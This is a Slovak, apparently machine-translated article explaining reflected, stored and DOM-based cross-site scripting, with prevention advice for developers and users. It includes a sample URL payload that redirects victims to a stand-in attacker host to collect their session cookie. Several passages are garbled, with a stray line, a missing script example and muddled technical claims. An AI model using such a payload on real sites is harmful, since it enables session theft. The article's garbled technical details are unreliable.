Cross-site scripting alebo XSS môžu byť silným a rýchlym útokom. Ako vývojár to môžete dokonca považovať za chybu vo svojom kóde a nakoniec vyhľadať chyby, ktoré tam nie sú.

Ako klient využívajúci zraniteľnú webovú stránku môžete tiež nevinne prezradiť dôležité informácie o vašom prístupe k autentifikácii útočníkovi.

Čo je teda skriptovanie medzi stránkami? Ako ho môžu hackeri použiť na preniknutie na webovú stránku a na odcudzenie vašich údajov? A ako môžete takéto riziko zmierniť?

Čo je skriptovanie medzi stránkami?

Skriptovanie medzi servermi alebo XSS sa stane, ak skript zo škodlivého webu interaguje s kódom na zraniteľnom mieste.

Servery sú však zapojené tak, že bránia ľuďom bez overenia v prístupe a úprave zdrojového kódu vášho webu.

Na blokovanie interakcií medzi stránkami používa internet politiku rovnakého pôvodu (SOP). SOP však kontroluje tri hlavné bezpečnostné medzery a snaží sa ich zmierniť. Oni sú:

  • Pravidlá internetového protokolu, ktoré kontrolujú, či obidva weby dodávajú obsah na zabezpečenom SSL (HTTPS) alebo nezabezpečenom URL (HTTP).
  • instagram viewer
  • Rovnaké pravidlá pre hostiteľa webu, ktoré zaisťujú, že hostíte oba weby v rovnakej doméne.
  • Politika portov, ktorá kontroluje, či obidve webové stránky používajú podobné koncové body komunikácie.

SOP tvrdí, že ak sa ktorákoľvek z týchto zásad líši pre akékoľvek dva webové stránky, nemôže čítať ani vymieňať údaje cez web.

JavaScript je ale manipulatívny jazyk, ktorý určuje reakciu webových stránok. Aj keď je JavaScript vášho webu s najväčšou pravdepodobnosťou v samostatnom súbore, môžete tiež vytvoriť značku skriptu a zapísať ju do svojho modelu Object Object Model (DOM).

Útočník XSS by si teda mohol myslieť: „Ak dokážete napísať JavaScript do modelu DOM, nakoniec ho môžete spustiť v ľubovoľný editor kódu alebo vstupné pole, ktoré akceptuje značky HTML. “

Takúto zraniteľnosť a šancu hľadá útočník používajúci XSS na cieľovom webe. Keď nájdu takúto medzeru, môžu SOP obísť.

Súvisiace: Špičkový JavaScriptový podvodník

XSS je teda útok, ktorý únoscovia používajú na vloženie skriptu, ktorý vykonáva škodlivú akciu na zraniteľné webové stránky. Skript môže zacieliť na nechránené formuláre alebo vstupné polia, ktoré prijímajú údaje.

Ako funguje skriptovanie medzi servermi a typy, s príkladmi

XSS môže byť rýchle vykonanie odrazeného alebo dočasného skriptu, ktorý útočník umiestni do formulárov, ako sú napríklad vyhľadávacie polia. Môže to byť aj otravný alebo vytrvalý injekčne vložený do databázy. Alebo to môže prísť pasívne po načítaní stránky.

V niektorých prípadoch môže tento skript tiež zmeniť pôvodný vstup obete, aby presmeroval jej úmysel. Trvalá zmena vstupov používateľa, ako je táto, je mutujúci XSS.

V akejkoľvek podobe je cieľom útoku XSS ukradnúť údaje obete prostredníctvom odkrytých súborov cookie a protokolov.

Pozrime sa na krátke vysvetlenie každého z týchto typov útokov XSS a ich príkladov, aby sme pochopili, o čo ide.

Čo je zrkadlový XSS?

Odrazený alebo dočasný XSS je priame vloženie JavaScriptu do vstupného poľa používateľa. Zameriava sa na požiadavky, ktoré získavajú údaje z databázy, napríklad výsledky vyhľadávania. Ale je to útok jedného klienta na cieľ.

Počas odrazeného XSS útočník vloží skript do hľadaného výrazu cieľovej obete. Môže to byť napríklad echo, presmerovanie alebo zberač súborov cookie.

Skript vložený do vstupného poľa vyhľadávania sa potom vykoná, akonáhle cieľový klient zadá dopyt.

Napríklad počas vyhľadávania používateľa môže útočník vložiť JavaScript, ktorý odráža formulár a žiada, aby obeť zadala svoje heslo alebo používateľské meno. Keď to používateľ urobí, môže nakoniec nevedomky odovzdať svoje poverenia útočníkovi v domnení, že ide o požiadavku pôvodného webu.

Útočník môže niekedy tiež použiť skript na presmerovanie používateľa zo zraniteľnej stránky na jeho stránku. Tam na stránke útočníka môže byť nič netušiaci používateľ oklamaný, aby predložil niekoľko formulárov, čo vedie k úniku poverení.

Podobne, ak je cieľom ukradnúť reláciu používateľa, útočník vloží do hľadaného výrazu používateľa skript zhromažďujúci súbory cookie. Potom unesú aktuálnu reláciu používateľa, ukradnú príslušné informácie a prevezmú aktivity obete.

Nasledujúci príklad útoku XSS ukradne cookie používateľa prostredníctvom žiadosti GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Vo vyššie uvedenom príklade XSS útočník nájde medzeru na zraniteľnom webe. Keď teda používateľ vyhľadá na zraniteľnom webe nedostupný zdroj, presmeruje ho na stránku útočníka. Útočník potom klepne na súbor cookie aktuálneho používateľa a uchopí jeho reláciu.

Táto chyba zabezpečenia je však bežná tam, kde nie je filtrovaná akcia dotazu na stránku, aby sa skontrolovalo vloženie skriptu cez HTML.

Ale aj keď existuje filtrovaný dopyt, útočník to môže obísť tak, že sa uchýli k zúfalým opatreniam, ako je zasielanie odkazov možným používateľom webových stránok v reálnom čase. Môžu to urobiť pomocou ľubovoľného forma sociálneho inžinierstva majú k dispozícii.

Súvisiace: Čo robiť po páde na phishingový útok

Akonáhle obete kliknú na takýto odkaz, únosca môže teraz úspešne vykonať útok XSS a ukradnúť príslušné údaje obeti.

Trvalé alebo uložené skriptovanie medzi stránkami

Uložený XSS predstavuje viac hrozieb. V takom prípade útočník uloží skript do databázy webovej stránky, čo spustí trvalé vykonávanie uloženého skriptu. Uložený kód je možné spustiť po načítaní stránky alebo po načítaní stránky.

Na rozdiel od dočasnej formy XSS je uložený XSS zameraný na celú užívateľskú základňu zraniteľnej webovej stránky. Okrem toho sa zameriava aj na integritu dotknutej webovej stránky.

Počas pretrvávajúceho XSS útočník použije na vloženie skriptu do databázy webovej stránky vstupné polia, ako sú formuláre komentárov.

Čo však robiť, ak chránite polia POST tokenmi CSRF? Uložené skriptovanie medzi stránkami bohužiaľ obchádza kontroly CSRF.

Je to preto, že útočník odošle formulár ako každý iný používateľ webových stránok. Takýto formulár na odoslanie komentára teda pošle skript do databázy rovnako ako všetky ostatné komentáre.

K takémuto útoku môže dôjsť, keď vstupné polia na webe nepoužívajú správne dezinfekčné prostriedky na únik skriptov a značiek HTML.

Predstavte si, že užívateľ zverejní nižšie uvedený skript pomocou formulára na webový komentár:




Keď útočník vloží taký kód do databázy webových stránok, bude neustále presmerovávať obeť na web útočníka pri načítaní stránky. Skriptom môže byť aj výstraha, interaktívny modálny box alebo vložená škodlivá reklama.

Pretože sa skript presmeruje pri načítaní stránky, obete, ktoré tento zraniteľný web nepoznajú, si toto presmerovanie nemusí všimnúť.

Potom pokračujú v interakcii s webom útočníka. Únosca však potom môže použiť niekoľko prostriedkov na získanie informácií od obetí, hneď ako sa dostanú na svoju webovú stránku.

Čo je to DOM alebo pasívny XSS?

XSS založený na DOM vykonáva škodlivý kód vložený do webovej stránky, čo núti celý DOM na strane klienta správať sa neobvykle.

Keď je uložený a odrážaný XSS zacielený na požiadavky na strane servera na webe, DOM XSS je zameraný na runtime aktivity. Funguje to tak, že do komponentu webovej stránky vložíte skript, ktorý vykonáva konkrétnu úlohu. Tento komponent nevykonáva akciu na strane servera.

Skript vložený do takejto súčasti však úplne zmení svoj zámer. Ak tento komponent vykonáva úlohu spojenú s DOM, napríklad tie, ktoré menia prvky webových stránok, môže skript vynútiť zmenu celej webovej stránky.

V horších prípadoch môže doména XSS napodobňovať chybu. Je to preto, že webová stránka sa stáva neobvykle reaktívnou.

Ako zabrániť útoku na skriptovanie medzi stránkami

Zraniteľnosť XSS pochádza z nesprávneho použitia najlepších postupov typu backend. Za zabránenie skriptovaniu medzi servermi je teda obvykle zodpovedný vývojár. Používatelia však tiež musia hrať určitú úlohu.

Používanie tokenu CSFR pre vstupné polia sa nezdá byť riešením útokov XSS. A keďže tento útok obchádza aj politiku rovnakého pôvodu, musia si vývojári dávať pozor, aby nevynechali bezpečnostné postupy, ktoré bránia XSS.

Nasledujúce preventívne opatrenia sú užitočné pre vývojárov.

Sanitize Inputs Fields

Aby ste zabránili uloženému aj dočasnému XSS, mali by ste pre vstupné polia používať účinné dezinfekčné prostriedky. Napríklad dezinfekcia vyhľadávacích dotazov zabráni vloženiu značky do hľadaných výrazov používateľov.

Použite Unicode a HTML Auto Escape

Je užitočné použiť automatický únik HTML a Unicode, aby ste zabránili prijímaniu skriptov a značiek HTML vstupnými poľami, ako sú formuláre na komentáre a konverzie. Automatický únik je preventívne opatrenie proti uloženému alebo pretrvávajúcemu XSS.

Umožnenie používateľom vkladať značky do formulárov komentárov je zlý nápad pre akýkoľvek web. Je to narušenie bezpečnosti. Ak to však musíte povoliť, mali by ste prijímať iba značky, ktoré nepredstavujú hrozbu XSS.

Použite príslušné overenie vstupu

Aj keď štítky úplne zablokujete, útočník môže vykonať útok XSS prostredníctvom sociálnych prostriedkov. Namiesto toho, aby umiestnili čokoľvek priamo na zraniteľný web, môžu posielať e-maily.

Ďalším spôsobom prevencie je teda efektívna validácia vstupov. Medzi tieto opatrenia patrí overovanie protokolov a zabezpečenie toho, aby váš web prijímal iba vstupy zo zabezpečeného protokolu HTTPS, a nie z protokolu HTTP.

Používanie vyhradených knižníc jazyka JavaScript, ako je dompurify, môže tiež pomôcť blokovať narušenia bezpečnosti súvisiace s XSS.

Môžete použiť nástroje ako Skener XSS alebo GEEKFLARE skontrolovať zraniteľnosť XSS na vašom webe.

Ako môžu používatelia zabrániť XSS

Na internete sú dnes milióny webových stránok. Ťažko teda zistíte, ktorý z nich má problémy so zabezpečením XSS.

Ako používateľ by ste sa však mali uistiť, že ste pred použitím každej webovej služby oboznámení. Ak sa web náhle stane strašidelným alebo sa začne správať nezvyčajne, môže to byť červený znak.

V každom prípade buďte opatrní, aby ste osobné údaje nezverejnili u nedôveryhodnej tretej strany. Potom si dávajte pozor na nevyžiadané e-maily alebo podozrivé príspevky na sociálnych sieťach, ktorých výsledkom môžu byť akékoľvek forma phishingových útokov.

Žiadna preventívna metóda sa nehodí všetkým

Videli sme, ako útok XSS vyzerá a ako mu zabrániť. Je ľahké zabudnúť na bezpečnostné kontroly XSS počas vývoja. Vývojári by mali podniknúť kroky na zabezpečenie toho, že ochrana nebude vynechaná. Kombinácia preventívnych opatrení, ktoré sme vymenovali skôr, však funguje lepšie.

Email
Čo sú útoky CSRF a ako im môžete zabrániť?

Aby vývojári a používatelia neprišli o peniaze a poverenia pri útokoch CSRF, musia hrať určitú úlohu.

Súvisiace témy
  • Bezpečnosť
  • JavaScript
  • Zabezpečenie prehliadača
O autorovi
Idowu Omisola (53 publikovaných článkov)

Idowu je vášnivý pre čokoľvek inteligentné technológie a produktivitu. Vo voľnom čase sa hrá s kódovaním a keď sa nudí, prepne na šachovnicu, ale tiež rád občas vybočuje z rutiny. Jeho vášeň ukázať ľuďom cestu v moderných technológiách ho motivuje k tomu, aby písal viac.

Viac od Idowu Omisola

Prihlásiť sa ku odberu noviniek

Pripojte sa k nášmu bulletinu s technickými tipmi, recenziami, bezplatnými elektronickými knihami a exkluzívnymi ponukami!

Ešte jeden krok…!

V e-maile, ktorý sme vám práve poslali, potvrďte svoju e-mailovú adresu.

.